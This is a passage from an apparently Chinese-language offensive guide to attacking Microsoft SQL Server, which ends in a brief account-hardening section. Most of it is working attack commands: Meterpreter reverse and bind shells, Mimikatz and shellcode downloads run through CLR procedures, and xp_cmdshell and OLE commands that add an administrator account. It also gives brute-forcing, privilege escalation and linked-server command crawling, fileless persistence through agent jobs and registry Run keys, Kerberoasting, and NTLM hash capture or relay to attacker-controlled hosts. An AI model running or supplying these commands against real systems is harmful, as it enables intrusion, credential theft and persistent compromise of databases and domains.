EXEC sp_cmdExec 'sp_meterpreter_reverse_rc(隔開敏感詞)4 LHOST LPORT GetSystem' RC(隔開敏感詞)4PASSWORD=123456
生成以SYSTEM權限運行的X86 Meterpreter_bind_tcp shell
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem';
每次使用 Meterpreter反彈都會創建一個reverse進程
運行Mimikatz功能抓取密碼
exec sp_cmdExec 'sp_Mimikatz'; select * from WarSQLKitTemp //獲取Mimikatz日志
文件下載
EXEC sp_cmdExec 'sp_downloadFile http://test.com/Invoke--Shellcode.ps1 C:\test\Invoke--Shellcode.ps1 300'; EXEC sp_cmdExec 'sp_downloadFile http://10.251.0.33/Invoke--Shellcode.ps1 C:\test\Invoke--Shellcode.ps1 300';
獲取MSSQL Hash
EXEC sp_cmdExec 'sp_getSqlHash';
獲取Windows Product
EXEC sp_cmdExec 'sp_getProduct';
獲取可用的數據庫
EXEC sp_cmdExec 'sp_getDatabases';
SQL Server 2017加入了Microsoft機器學習服務,該服務允許通過SQL Server中sp_execute_external_script
執行Python和R腳本
利用條件:
Machine Learning Services必須要在Python安裝過程中選擇
必須啟用外部腳本
EXEC sp_configure 'external scripts enabled', 1 RECONFIGURE WITH OVERRIDE
重新啟動數據庫服務器
用戶擁有執行任何外部腳本權限
利用R執行命令:
sp_configure 'external scripts enabled' GO EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text)); GO
利用R抓取Net-NTLM哈希:
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh5x")'
Python :
exec sp_execute_external_script @language =N'Python', @script=N'import sys OutputDataSet = pandas.DataFrame([sys.version])' WITH RESULT SETS ((python_version nvarchar(max)))
執行命令:
exec sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' WITH RESULT SETS (([cmd_out] nvarchar(max)))
SQL Server代理是一項Microsoft Windows服務,它執行計劃的管理任務。
首先啟動SQL Server代理服務。
執行計劃任務。
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami /all >c:\\123.txt', @retry_attempts = 1, @retry_interval = 5 ; EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
第三章簡單介紹了SQL Server中常見的一寫利用點,接下來介紹這些利用面在各個攻擊階段中的應用和一些思路。
SQL Server的實例發現,本地實例主要是通過檢查系統服務和注冊表方式。遠程實例可以通過掃描TDS監聽服務、UDP廣播、SPN服務等方式。
常見的幾種實例發現工具:
osql
osql -L
sqlcmd
sqlcmd -L
PowerUpSQL
import-module .\PowerUPSQL.psd1 //加載模塊
Get-SQLInstanceBroadcast //SQL Server實例發現
SQLPing3
Metasploit mssql_ping module
Nmap
Nessus
……
作為本地用戶,主要是通過檢查系統服務和注冊表設置來標識SQL Server實例。
檢查系統服務
檢查注冊表鍵值,也可判斷SQL Server實例
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server" /v InstalledInstances
使用PowerUpSQL,來識別本地實例。
import-module .\PowerUPSQL.psd1 //加載模塊 Get-SQLInstanceLocal //SQL Server實例發現
Get-SQLInstanceBroadcast -Verbose //UDP廣播Ping Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1 //UDP端口掃描 Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-SQLInstanceScanUDPThreaded -Verbose //從文件獲取實例列表
域內實例主要利用SPN掃描發現實例,先簡單介紹一下什么是SPN服務。
Windows 域環境是基于活動目錄(Active Directory)服務工作的。為了在域環境中有效地對資源訪問權限進行精細控制,提高網絡環境的安全性和方便網絡資源統一分配管理。系統給域內每種資源分配了不同的服務主體名稱(Service Principal Name, SPN)。使用Kerberos協議進行身份驗證的域環境中,本地賬號SPN將自動注冊,但是,域內用戶賬號下運行的服務,必須為此域內賬戶手動注冊。如下圖SQL Server服務運行在域內用戶時的狀態。
因為域中每臺機器都要在Kerberos身份驗證服務中注冊SPN,所以攻擊者可以向域控制器(AD)發送請求,獲取SPN相關信息,得到某個服務資源在哪臺服務器上。
SQL Server服務的SPN示例:
TERMSRV/MSSQL2.sec.com:1433 服務組件名稱/主機名.域名:監聽端口
域內用戶賬號下運行的服務,手動注冊SPN
setspn -A MSSQLSvc/MSSQL2.sec.com:1433 mssqluser
更多SPN相關介紹請查看:https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spn-setspn-syntax.aspx
域中安裝的SQL Server會使用關聯的服務帳戶自動在活動目錄(Active Directory)中注冊,以支持Kerberos身份驗證。可以使用以下方式識別實例:
setspn -q */*
setspn.exe。
adfind.exe。
Get-Spn.psm1。
PowerUpSQL
Get-SQLInstanceDomain
PowerUpSQL其他發現實例命令
描述 | 命令 |
---|---|
使用備用域憑據發現Active Directory域SQL Server實例 | runas /noprofile /netonly /user:domain\user PowerShell.exe import-module PowerUpSQL.psd1Get-SQLInstanceDomain -Verbose -DomainController 192.168.1.1 -Username domain\user -password Password123 |
列出使用特定域帳戶的SQL Server實例 | Get-SQLInstanceDomain -Verbose -DomainAccount mssqluser |
列出共享域用戶SQL Server服務帳戶 | Get-SQLInstanceDomain -Verbose | Group-Object DomainAccount | Sort-Object count -Descending | select Count,Name | Where-Object {($.name -notlike "$") -and ($.count -gt 1) } |
連接測試,兩種功能均可用于測試。
Get-SQLConnectionTestThreaded Invoke-SQLAuditWeakLoginPw
爆破必須的幾個條件:
常見的弱密碼
當前的本地用戶訪問權限
當前域用戶訪問權限
備用域用戶訪問權限
使用msf來執行爆破
use auxiliary/scanner/mssql/mssql_login
PowerUpSQL其他獲取賬戶相關命令:
描述 | 命令 |
---|---|
獲取可用提供的SQL Server登錄名登錄的域SQL Server列表。 | $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username testuser -password testpass | Where-Object {$_.Status -like "Accessible"} $Targets |
獲取可以使用當前域帳戶登錄的域SQL服務器的列表。 | $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"} $Targets |
獲取可以使用備用域帳戶登錄的域SQL服務器的列表。 | runas /noprofile /netonly /user:domain\user PowerShell.exeGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 |
獲取可以使用非域系統中的備用域帳戶登錄的域SQL服務器的列表。 | runas /noprofile /netonly /user:domain\user PowerShell.exeGet-SQLInstanceDomain -Verbose -Username 'domain\user' -Password 'MyPassword!' -DomainController 10.1.1.1 | Get-SQLConnectionTestThreaded -Verbose -Threads 15 |
發現域SQL Server,并根據實例名稱確定它們是否配置有普通應用程序使用的默認密碼。 | Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose |
權限提升基本的一個思路:
域用戶可以到處登錄的前置條件。
添加了域用戶
已添加本地用戶
特權繼承
獲得Sysadmin權限的一些利用點:
可以使用常用的憑據執行爆破,但要注意帳戶鎖定。
以PowerUpSQL為例:
import-module .\PowerUPSQL.psd1 //加載模塊。 Get-SQLInstanceScanUDP | Invoke-SQLAuditWeakLoginPw //從未經身份驗證的用戶角度發起攻擊。 Get-SQLInstanceDomain | Invoke-SQLAuditWeakLoginPw //從域用戶角度開始攻擊。 Get-SQLInstanceScanUDP | Get-SQLConnectionTestThreaded -Username <USERNAME> -Password <PASSWORD> //手動連接到已標識的SQL Server實例。
許多使用SQL Server Express作為后端的應用程序都是使用特定的憑據和實例名稱配置的。使用以下命令檢查這些憑據:
import-module .\PowerUPSQL.psd1 //加載模塊。 Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw
如果與SQL Server的通信未加密,我們可以執行MITM攻擊來注入們自己的查詢。根據欺騙的用戶特權,我們可以注入SQL登錄名。
sqlmitm.py
嘗試使用當前帳戶登錄到SQL Server。過多的登錄特權是常見的配置。
import-module .\PowerUpSQL.psd1 Get-SQLInstanceDomain | Get-SQLConnectionTest Get-SQLInstanceLocal | Get-SQLConnectionTest
猜測弱密碼獲得高權限角色賬號,一般需要以下兩步:
枚舉登錄名
猜測密碼
1.枚舉登錄名
默認情況下,Public角色成員不能選擇本地列表登錄,但可以進行Fuzz登錄名。如果嘗試枚舉所有SQL Server登錄名枚舉,則只會看到其中一部分。查詢出所有SQL Server登錄名:
SELECT name FROM sys.syslogins
SELECT name FROM sys.server_principals
suser_name返回給定主體ID的主體名稱。可以通過使用Public角色,在suser_name函數中枚舉主體ID值來標識SQL登錄名。查詢示例:
SELECT SUSER_NAME(1) SELECT SUSER_NAME(2) SELECT SUSER_NAME(3) SELECT SUSER_NAME(4) ...
2.猜測密碼
使用PowerUpSQL嘗試對那些已識別出的的SQL Server登錄名使用弱口令爆破。
Get-SQLFuzzServerLogin -Instance ComputerNAme\InstanceName //PowerUpSQL Blind SQL登錄枚舉 Invoke-SQLAuditWeakLoginPw
3.獲取當前域內用戶名
public角色可以獲取當前域信息,有利用盲猜域內其他組SID或用戶名。
獲取SQL Server所在的域:
SELECT DEFAULT_DOMAIN() as mydomain
獲取域內用戶的完整SID。
SELECT SUSER_SID('<Identified_Domain>\Domain Admins')
0x010500000000000515000000CAAE870FA5F89ACD856A619851040000
獲取域內Admins組的完整RID。
SELECT SUSER_SID('<Identified_Domain>\Domain Admins')
0x010500000000000515000000CAAE870FA5F89ACD856A619800020000
抓取完整RID的前48個字節以獲取域的SID。通過將十六進制數字值附加到先前的SID來創建新的RID(將與域對象相關聯)。
RID=0x010500000000000515000000CAAE870FA5F89ACD856A619851040000 SELECT SUSER_NAME(RID) //獲取與RID關聯的域對象名稱。
PowerUpSQL也可盲猜域帳戶。
Get-SQLFuzzDomainAccount -Instance ComputerNAme\InstanceName
在具有對SQL Server的Public權限賬號的上下文中,最常用的獲取執行權限的方法是:
特權模擬
存儲過程和觸發器創建/注入
寫入存儲過程的自動執行
SQL Server代理任務
xp_cmdshell
創建數據庫鏈接到文件或服務器
導入/安裝自定義CLR程序集
臨時查詢
共享服務帳戶
數據庫鏈接
UNC路徑注入
Python/R腳本執行。
以上大部分內容在SQL Server常用攻擊面已經介紹,不再贅述,下面簡單介紹一下前面未提的方法。
1.特權模擬
SQL Server中有一個特權/權限,它允許權限較低的用戶,模擬行使另一個具有更多訪問權限的用戶。不限制執行查詢/命令,但必須將數據庫配置為允許OS命令執行對象。
EXECUTE AS語句
默認情況下,會話在用戶登錄時開始,并在用戶注銷時結束。會話期間的所有操作都必須對該用戶進行權限檢查。當一個EXECUTE AS語句運行,會話的執行上下文切換到指定的登錄名或用戶名。上下文切換之后,將針對該帳戶的登錄名和用戶安全性令牌而不是調用EXECUTE AS語句的人員檢查權限。本質上,在會話或模塊執行期間將模擬用戶或登錄帳戶,或者顯式還原上下文切換。
使用public角色用戶testuser,手動檢查是否是sa登錄:
SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') //檢查SQL Server 登錄名是否為指定服務器角色的成員。
EXECUTE AS LOGIN = 'sa' //模擬sa數據庫級別,對于服務器級別,請使用EXECUTE AS USER。
再次使用public角色用戶testuser,手動檢查目前模擬為sa登錄:
SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')
2.存儲過程和觸發器創建/注入
開發人員的一個常見錯誤是將他們要使用的所有功能,將其寫入存儲過程中,以便能夠在其他用戶的上下文中執行。這些存儲過程可以作為數據庫的所有者(擁有所有者的EXECUTE AS)來執行,以使它可以訪問其他資源。也可以在高權限用戶的上下文中進行執行,并且不需要授予特權。但是,從安全的角度來看,采用此方法有一些缺點:
無法精細控制數據庫所有者的權限。
普通帳戶或sysadmin帳戶通常擁有數據庫。
DB_OWNER角色可以使用EXECUTE AS OWNER在sa或sysadmin帳戶的上下文中執行。如果這些存儲過程實現不安全,則可以通過擴展存儲過程來通過SQL注入或命令注入進行模擬。例子:
USE test2 GO CREATE PROCEDURE test_imitation2 WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'testuser','sysadmin' GO
必須將數據庫配置為值得信賴的OS命令執行程序。雖然可以通過SQL或命令注入進行模擬,但是創建存儲過程或觸發器是更好的選擇。
攻擊場景:
DBA對Web應用程序執行以下操作:
CREATE LOGIN somebody WITH PASSWORD = 'Password123'; //為WebApp創建SQL登錄名。 USE test ALTER LOGIN [somebody] with default database = [test]; CREATE USER somebody FROM LOGIN [somebody]; EXEC sp_addrolemember [db_owner], [somebody]; //為此SQL登錄名分配db_owner角色。Webapp可以從數據庫訪問所需的任何內容。 ALTER DATABASE CurrentDB SET TRUSTWORTHY ON //將數據庫設置為可信任的訪問外部資源。
可以在查詢中識別此類數據庫
SELECT SUSER_NAME(owner_id) as DBOWNER, d.name as DATABASENAME FROM sys.server_principals r INNER JOIN sys.server_role_members m on r.principal_id = m.role_principal_id INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id inner join sys.databases d on suser_sname(d.owner_sid) = p.name WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'
可以使用以下metasploit模塊自動進行探測
auxiliary/admin/mssql/mssql_escalate_dbowner auxiliary/admin/mssql/mssql_escalate_dbowner_sqi
更多方法可參考NetSpi博客
3.服務帳戶
SQL Server所有版本都為服務帳戶提供sysadmin特權。
列出常見的一些服務帳戶類型:
域用戶
本地用戶
本地系統
網絡服務
本地托管服務帳戶
域托管服務帳戶
PowerUpSQL的Invoke-SQLOSCMD可用于基本命令執行。
對于單個主機實例:
Invoke-SQLOSCMD –Verbose –Instance "server1\instance1" –Command "whoami"
對于域內實例:
Get-SQLInstanceDomain | InvokeSQLOSCMD –Verbose –Command "whoami"
如果我們攻擊了一個SQL Server,那么我們也將使用該共享帳戶來攻擊所有SQL Server。
4.爬數據庫鏈接
數據庫鏈接(Database Link)本質上是兩個服務器之間的持久連接。數據庫鏈接(Database Link)的作用是,允許一個數據庫服務器去對其他的數據庫服務器進行查詢。數據鏈接可以用不同的方式進行配置,但是更多時候我們看到它們使用硬編碼的憑據。
Public角色使用openquery()函數,對被鏈接的數據庫服務器進行查詢;也可以執行xp_cmdshell,對遠程訪問也無憑證要求。通常配置此功能會使數據庫服務器,擁有過多的特權。因此允許在遠程服務器上的模擬登錄,切換到高權限賬號的上下文中。
下圖簡單說明當數據庫對鏈接查詢功能配置過高特權時,注入的payload是如何被傳遞:
列出所有鏈接的服務器名,通常有兩個選項
exec sp_linkedservers
和
SELECT srvname FROM master..syservers
查詢一個服務器的所有鏈接的服務器名:
SELECT srvnaem From openquery(DB1, 'select srvname FROM master..sysservers')
查詢一個服務器的某個鏈接的服務器所鏈接的服務器名:
SELECT srvnaem From openquery(DB1, 'select srvname FROM openquery(HVA, "SELECT srvname FROM master..syservers")')
查詢可以一直嵌套執行,直到窮盡所有數據庫服務器。在鏈接的服務器上執行命令:
SELECT * FROM openquery(DB1, 'SELECT * FROM openquery(HVA, "SELECT 1; exec xp_cmdshell'"'ping 192.168.1.1"" '')')
SQL Server 2005 存在鏈接爬網命令執行漏洞,使用msf的mssql_linkcrawler模塊可獲得反彈shell。
use exploit/windows/mssql/mssql_linkcrawler
自動化爬網的工具:
mssql_linkcrawler
PowerUpSQL
……
首先先了解三個點:
SQL Server較舊的版本為本地管理員提供sysadmin特權
SQL Server較舊的版本為本地系統提供sysadmin特權
SQL Server所有版本都為SQL Server服務帳戶提供sysadmin特權
以下是利用點和常用工具列表:
利用點 | 常用工具 |
---|---|
本地管理員身份訪問DB | Management Studio,sqlcmd和其他SQL客戶端工具。 |
本地系統身份訪問DB | Psexec,可訪問性選項,帶有本機SQL客戶端工具的調試器。 |
通過LSA Secrets恢復服務帳戶密碼 | Mimikatz, Metasploit, lsadump. |
SQL Server服務進程注入 | Metasploit, Python, Powershell (LoadLibrary,CreateRemoteThread等類似的功能) |
從服務進程中竊取身份驗證令牌 | Metasploit, Incognito, Invoke-TokenManipulation |
單用戶模式 | DBATools |
以上利用點不一定適用所有SQL Server所有版本,下面簡單列出一下適用版本(√:適用,×:不適用,?:可能適用),僅供參考:
利用點 | SQL Server 2000 | SQL Server 2005 | SQL Server 2008 | SQL Server 2012 | SQL Server 2014 | SQL Server 2016 |
---|---|---|---|---|---|---|
服務憑證 | √ | √ | √ | √ | √ | √ |
本地管理員 | √ | √ | × | × | × | × |
本地系統 | √ | √ | √ | × | × | × |
SQL Server進程注入 | √ | √ | √ | √ | √ | ? |
令牌竊取 | √ | √ | √ | √ | √ | ? |
單用戶模式 | ? | √ | √ | √ | √ | √ |
附PowerUpSQL一些執行命令:
描述 | 命令 |
---|---|
SQL Server帳戶的域用戶。 以域用戶身份運行時,此功能將自動執行4件事。1.通過LDAP查詢到DC的SPN來識別域上的SQL Server。2.嘗試登錄每個。3.使用多種方法執行UNC路徑注入。4.嘗試捕獲關聯的SQL Server服務帳戶的密碼哈希。 | Invoke-SQLUncPathInjection -Verbose -CaptureIp 10.1.1.12 |
通過服務帳戶模擬將OS管理員轉換為sysadmin,然后所有PowerUpSQL命令都可以以sysadmin身份運行。 | Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL |
審核問題 | Invoke-SQLAudit -Verbose -Instance SQLServer1 |
升級到sysadmin | Invoke-SQLEscalatePriv -Verbose -Instance SQLServer1 |
執行OS命令:xp_cmdshell | $Targets | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10 |
執行OS命令:自定義擴展存儲過程 | Create-SQLFileXpDll -OutFile c:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test -Verbose將test.dll放在在SQL Server服務帳戶可讀的共享上。 Get-SQLQuery -Verbose -Query "sp_addextendedproc 'xp_test', '\yourserver\yourshare\myxp.dll'"xp_testsp_dropextendedproc 'xp_test' |
執行OS命令:CLR | $Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami" |
執行OS命令:Ole自動化過程 | $Targets | Invoke-SQLOSOle -Verbose -Command "Whoami" |
執行OS命令:外部腳本-R | $Targets | Invoke-SQLOSR -Verbose -Command "Whoami" |
執行OS命令:外部腳本-Python | $Targets | Invoke-SQLOSPython -Verbose -Command "Whoami" |
執行OS命令:代理作業-CmdExec | $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\windows\temp\test1.txt" |
執行OS命令:代理作業-PowerShell | $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'write-output "hello world" | out-file c:\windows\temp\test2.txt' -Sleep 20 |
執行OS命令:代理作業-VBScript | $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem VBScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt' |
執行OS命令:代理作業-JScript | $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem JScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt' |
檢索數據庫鏈接 | Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 |
檢索數據庫鏈接并執行查詢 | Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 -Query "select name from master..sysdatabases" |
抓取數據庫鏈接并執行OS命令 | Get-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "exec master..xp_cmdshell 'whoami'" |
轉儲代理任務的內容。通常包含密碼。詳細輸出包括作業摘要數據。 | $Results = Get-SQLAgentJob -Verbose -Instance Server1\Instance1 -Username sa -Password '123qweASD' |
枚舉所有SQL登錄名作為最低特權用戶,并測試用戶名作為密碼。 | 針對單個服務器 Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\Instance1 運行針對域SQL Server運行 $WeakPasswords = Get-SQLInstanceDomain -Verbose | Invoke-SQLAuditWeakLoginPw -Verbose$WeakPasswords |
利用SQL Server設置權限維持方法,主要還是靠SQL Server代理作業,定期執行計劃任務。為了實現無文件攻擊,還利用CLR程序集功能,加載惡意DLL文件。通過這兩種內置功能進行持久化,實現了在無文件落地、無其他進程的情況下,實施權限維持。
此持久化有幾個前提條件:
啟動SQL Server代理服務
開啟CLR功能
將存儲.Net程序集的數據庫配置為可信賴的
以上均在SQL Server代理執行計劃任務和SQL Server CLR相關利用詳細介紹。
連接SQL Server數據庫后,創建SQL Server代理作業,定時執行SQL語句調用惡意的用戶自定義存儲過程或函數利用SQL語句將CLR程序集以十六進制形式加載加載進數據庫,實現通過用戶自定義函數調用惡意的CLR程序集。已創建的SQL Server代理作業,定期執行計劃任務,調用CLR程序集,實現無文件持久化。
首先創建名為CreateWarSQLKit的存儲過程(WarSQLKit相關的利用可查看第二章中SQL ServerCLR相關利用的WarSQLKit篇章)
USE msdb; CREATE procedure CreateWarSQLKit as CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4D5A...... WITH PERMISSION_SET = UNSAFE; GO
創建SQL Server代理作業,定期執行CreateWarSQLKit,實現WarSQLKit的DLL文件持久化。
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_CreateWarSQLKit_job1'; EXEC sp_add_jobstep @job_name = N'test_CreateWarSQLKit_job1', @step_name = N'test_CreateWarSQLKit_name1', @subsystem = N'TSQL', @command = N'exec CreateWarSQLKit', @retry_attempts = 5, @retry_interval = 5 ; EXEC dbo.sp_add_jobserver @job_name = N'test_CreateWarSQLKit_job1'; EXEC dbo.sp_start_job N'test_CreateWarSQLKit_job1';
除了正常利用SQL Server可以執行系統命令的存儲過程,以下操作都是作為SQL對象存儲在數據庫中,并且沒有任何更改到磁盤,也可以做到無文件持久化。
可以為utilman.exe設置調試器,該調試器將在調用cmd.exe時運行。僅sysadmins特權。
import-module .\PowerUPSQL.psd1 Get-SQLPersistentRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance SQLServerName\InstanceName'
可以利用CurrentVersion \run與xp_regwrite建立。僅sysadmins特權。
import-module .\PowerUPSQL.psd1 Get-SQLPersistentRegRun -Verbose -Name legit -Command '\\attacker_controlled_ip\malicious.exe' -Instance 'SQLServerName\InstanceName'
可以將所有自定義CLR程序集導出到DLL,最后導入后門CLR。僅sysadmins特權。
import-module .\PowerUPSQL.psd1 $Results = Get-SQLStoredProcedureCLR -Verbose -Instance 'SQLServerName\InstanceName' -UserName sa -Password 'password' -ExportFolder c:\temp Create-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.exe
如果遇到SQLServer中的xplog70.dll文件被刪除或放到其他地方了, xp_cmdshell就無法執行我們發出的命令了。可以考慮SQLServer中有一系列與OLE相關的存儲過程,這一系列的存儲過程同xp_cmdshell以及讀取注冊表系列的存儲過程一樣危險,所以被刪除的可能性就小一些。這系列的存儲過程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。
可以在系統添加一個用戶名為test,密碼為12345678,并加入管理員組。
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\windows\system32\cmd.exe /c net user test 12345678 /add' DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\windows\system32\cmd.exe /c net localgroup administrators test /add '
xp_cmdshell、SP_OACREATE等可執行系統命令的存儲過程,以及與它們相對應的動態連接庫文件(DLL)都被刪除了,還可以讀取和修改注冊表的存儲過程(xp_regread、xp_regwrite)來克隆對方系統的管理員用戶。
PowerUpSQL命令參考:
描述 | 命令 |
---|---|
將所有自定義CLR程序集導出到DLL。它們可以脫機反編譯,并且通常包含密碼。而且,無需過多努力即可將其借殼。 | $Results = Get-SQLStoredProcedureCLR -Verbose -Instance Server1\Instance1 -Username sa -Password 'P@ssword!' -ExportFolder c:\temp $Results | Out-GridView |
創建一個可用于導入現有(或后門)CLR程序集的SQL命令。 | Create-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.dll 博客:https://blog.netspi.com/attacking-sql-server-clr-assemblies/)://blog.netspi.com/attacking-sql-server-clr-assemblies/ |
創建可用于導入CLR程序集以執行OS命令的DLL和SQL命令。 | Create-SQLFileCLRDll -Verbose -ProcedureName runcmd -OutDir c:\temp -OutFile evil |
獲取共享SQL Server服務帳戶的列表。 | Get-SQLInstanceDomain -Verbose | Select-Object DomainAccount, ComputerName -Unique | Group-Object DomainAccount | Sort-Object Count -Descending 注意:任何大于1的計數都表示在多個系統上使用的域帳戶可能會被用于SMB中繼攻擊。 |
利用傳統的Kerberoast攻擊方式進行橫向移動,Kerberoast是一種針對Kerberos協議的攻擊方式。根據Kerberos協議,當向活動目錄完成身份驗證后,密鑰分發中心(KDC)會將服務授權的票據(TGT)發送給用戶,作為訪問資源時的身份憑證。當需要訪問資源,向票據服務器(TGS)發送Kerberos票據時,首先需要使用具有有效身份用戶的票據(TGT)向票據服務器(TGS)請求鄉音的服務票據。當該票據(TGT)被驗證具有此服務的權限是,會向用戶發送一張新的票據。新的票據使用SPN關聯的計算機中的服務賬號的NTLM Hash。攻擊者可以嘗試不同的NTLM Hash來開啟Kerberos票據。NTLM Hash對應的是服務賬號的密碼。
實施此攻擊前有幾個前提條件:
域內用戶運行的SQL Server已經手動注冊過SPN
Kerberos協議加密方式為RC(隔開敏感詞)4_HMAC_MD5
通過SQL Server能執行PowerShell命令的利用點和導入特定功能的CLR程序集即可完成Kerberoast攻擊。
查看指定域內用戶所注冊的SPN
setspn -L SEC\MSSQL2
通過上文設置WarSQLKit的DLL存在sp_Mimikatz存儲,執行mimikatz。
exec sp_cmdExec 'sp_Mimikatz'; select * from WarSQLKitTemp //獲取Mimikatz日志
或者利用任何一種可以執行PowerShell命令的方式,可以請求到SPN的Kerberos票據:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/MSSQL2.sec.com:1433" exec xp_cmdshell 'powershell Add-Type -AssemblyName System.IdentityModel ; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/MSSQL2.sec.com:1433"'
之后可以使用PowerShell命令遠程下載部署mimikatz,或者kerberoast。
#mimikatz:kerberos::list /export
導出的票據會保存到當前目錄的kirbi文件。
利用kerberoast中的tgsrepcrack.py腳本,離線破解NTLM Hash。
PowerUpSQL中使用Get-SQLServerPasswordHash,可自動提取SQL登錄密碼哈希:
import-module .\PowerUPSQL.psd1 Get-SQLServerPasswordHash -Verbose -Instance 'SQLServerName\InstanceName' -Migrate
David Cash在MSSQL Lateral Movement介紹了SQL Server中使用CLR自動執行橫向移動而無文件落地和不需要xp_cmdshell,以及如何防止被檢測到。
CLR相關的介紹在上文已經介紹,在此不再贅述。通常為實現命令執行而對MSSQL服務進行后期開發通常會利用XP_CMDSHELL存儲過程在MSSQL進程的上下文中運行操作系統命令。要使用此技術運行自定義代碼,通常需要使用LOLBINS,添加新的操作系統用戶或通過BCP寫入磁盤的二進制文件,這提供了明顯的檢測機會。
SQL Server服務進程可以執行提供給它的任何.NET代碼,因此利用.NET代碼進行橫向移動,僅需要構建適當的DLL。作為概念的證明,為了生成了一個簡單的程序集,該程序集對一些shellcode進行XOR并將其注入到生成的進程中。使用Squeak可以簡化CLR代碼的創建和調用,下面是Squeak具備的一些功能:
展示連接數據
從原始二進制文件和單字節XOR讀取shellcode字節
生成一個MSSQL CLR DLL,該DLL對shellcode進行XOR,生成一個新進程,然后將shellcode注入其中。
計算DLL的SHA512哈希
生成帶有硬編碼參數的單個.NET可執行文件,以通過SQL連接執行DLL –該可執行文件執行以下操作:
創建一個SQL連接
檢查SQL Server版本
檢查DBA權限
檢查并記錄現有的安全設置
修改安全設置
創建并運行程序集
恢復安全設置并刪除程序集
使用Squeak可以生成帶有連接字符串和CLR程序集的獨立可執行文件。CLR程序集的代碼是從本地目錄中的文件中加載,可以直接打開文件,也可以在工具中對其進行編輯。
UNC用于訪問遠程文件服務器,格式為\ip\file,如果我們可以執行這個功能,則可以強制SQL Server向我們進行身份驗證,并且可以獲得SQL Server服務帳號的NTLM密碼哈希。
可以通過以下方式實現自動化:
PowerUpSQL的Get-SQLServiceAccountPwHashes腳本
SQL NTLM Hash:
import-module .\PowerUpSQL.ps1` Import-Module C:\PowerUpSQL-master\Scripts\3rdparty\Inveigh.ps1 Import-Module C:\PowerUpSQL-master\Scripts\pending\Get-SQLServiceAccountPwHashes.ps1 Get-SQLServiceAccountPwHashes -Verbose -TimeOut 20 -CaptureIp attacker_controlled_ip
使用smbrelayx(impacket)
python smbrelayx.py -h sqlserverIP -c 'powershell empire launcher'
metasploit的SQL NTLM Hash:
msf > use auxiliary/admin/mssql/mssql_ntlm_stealer set SMBPROXY attackerIP set RHOST webappwithsqliIP set GET_PATH pathtosqli run
查詢目前所有用戶列表
select name,password from syslogins order by name
為不同的管理員分配不同的賬號
按照使用目的進行分配賬號,避免不同用戶間共享賬號,提高安全性。或在企業管理器中直接添加遠程登陸用戶建立角色,并給角色授權,把角色賦給不同的用戶或修改用戶屬性中的角色和權限。
添加不同用戶,參考配置操作:
sp_addlogin 'user1','password1' sp_addlogin 'user2','password2'
刪除或鎖定無效賬號
刪除冗余的系統默認賬號,減少系統安全隱患,參考配置操作。
